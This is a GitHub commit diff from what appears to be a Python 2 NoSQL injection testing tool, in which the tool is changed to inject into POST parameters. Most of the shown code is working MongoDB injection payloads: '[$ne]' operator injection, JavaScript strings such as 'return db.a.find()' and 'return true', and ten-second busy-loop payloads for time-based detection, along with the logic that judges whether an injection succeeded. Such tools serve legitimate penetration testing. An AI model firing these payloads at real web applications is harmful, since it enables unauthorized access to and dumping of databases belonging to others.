You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
if (whereThisIntDelta>=100) and (whereThisIntLen-randLength>0):
714
754
print"Java this not equals varied "+str(whereThisStrDelta) +" bytes from random parameter! Where injection works!"
715
-
vulnAddrs.append(uriArray[9])
755
+
vulnAddrs.append(str(postData))
716
756
717
757
elif (whereThisIntDelta>0) and (whereThisIntDelta<100) and (whereThisIntLen-randLength>0):
718
758
print" response variance was only "+str(whereThisIntDelta) +"bytes. Injection might have worked but difference is too small to be certain."
719
-
possAddrs.append(uriArray[9])
759
+
possAddrs.append(str(postData))
720
760
721
761
elif (whereThisIntDelta==0):
722
762
print"Random string response size and this return response size were the same. Injection did not work."
723
763
724
764
else:
725
765
print"Injected response was smaller than random response. Injection may have worked but requires verification."
726
-
possAddrs.append(uriArray[9])
766
+
possAddrs.append(str(postData))
727
767
728
768
print"\n"
729
769
doTimeAttack=raw_input("Start timing based tests (y/n)? ")
730
770
731
771
ifdoTimeAttack=="y"ordoTimeAttack=="Y":
732
772
print"Starting Javascript string escape time based injection..."
733
773
start=time.time()
734
-
strTimeInj=urllib.urlopen(uriArray[6])
735
-
page=strTimeInj.read()
774
+
postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
print"HTTP load time variance was only "+str(strTimeDelta) +". Injection probably didn't work."
789
+
print"HTTP load time variance was only "+str(strTimeDelta) +"seconds. Injection probably didn't work."
748
790
strTbAttack=False
749
791
750
792
print"Starting Javascript integer escape time based injection..."
751
793
start=time.time()
752
-
intTimeInj=urllib.urlopen(uriArray[7])
753
-
page=intTimeInj.read()
794
+
postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
#Split the string between the path and parameters, and then split each parameter
1296
-
1297
-
1298
-
menuItem=1
1299
-
print"List of parameters:"
1300
-
forparamsinbody.keys():
1301
-
printstr(menuItem) +"-"+params
1302
-
menuItem+=1
1303
-
1304
-
try:
1305
-
injIndex=raw_input("Which parameter should we inject? ")
1306
-
injOpt=str(body.keys()[int(injIndex)-1])
1307
-
print"Injecting the "+injOpt+" parameter..."
1308
-
except:
1309
-
raw_input("Something went wrong. Press enter to return to the main menu...")
1310
-
mainMenu()
1311
-
x=0
1312
-
whilex<=18:
1313
-
bodyList.append(body)
1314
-
x+=1
1315
-
1316
-
bodyList[0].update({injOpt,randValue})
1317
-
#gotta change the key name to include the not equals
1318
-
tempStr=str(bodyList[1])
1319
-
tempStr=tempStr.replace(injOpt, injOpt+"[$ne]")
1320
-
tempDict=ast.literal_eval(tempStr)
1321
-
delbodyList[1]
1322
-
bodyList.insert(1, tempDict)
1323
-
bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"})
1324
-
bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"})
1325
-
bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"})
1326
-
bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"})
1327
-
bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
1328
-
bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
1329
-
bodyList[8].update({injOpt : "=a'; return this.a != '"+randValue+"'; var dummy='!"})
1330
-
bodyList[9].update({injOpt : "=1; return this.a !="+randValue+"; var dummy=1"})
1331
-
bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"})
1332
-
bodyList[11].update({injOpt : "=a\"; return this.a != '"+randValue+"'; var dummy=\"!"})
1333
-
bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"})
1334
-
bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} )
1335
-
bodyList[14].update({injOpt : "a'; return true; var dum=a"})
1336
-
bodyList[15].update({injOpt : "1; return true; var dum=2"})
0 commit comments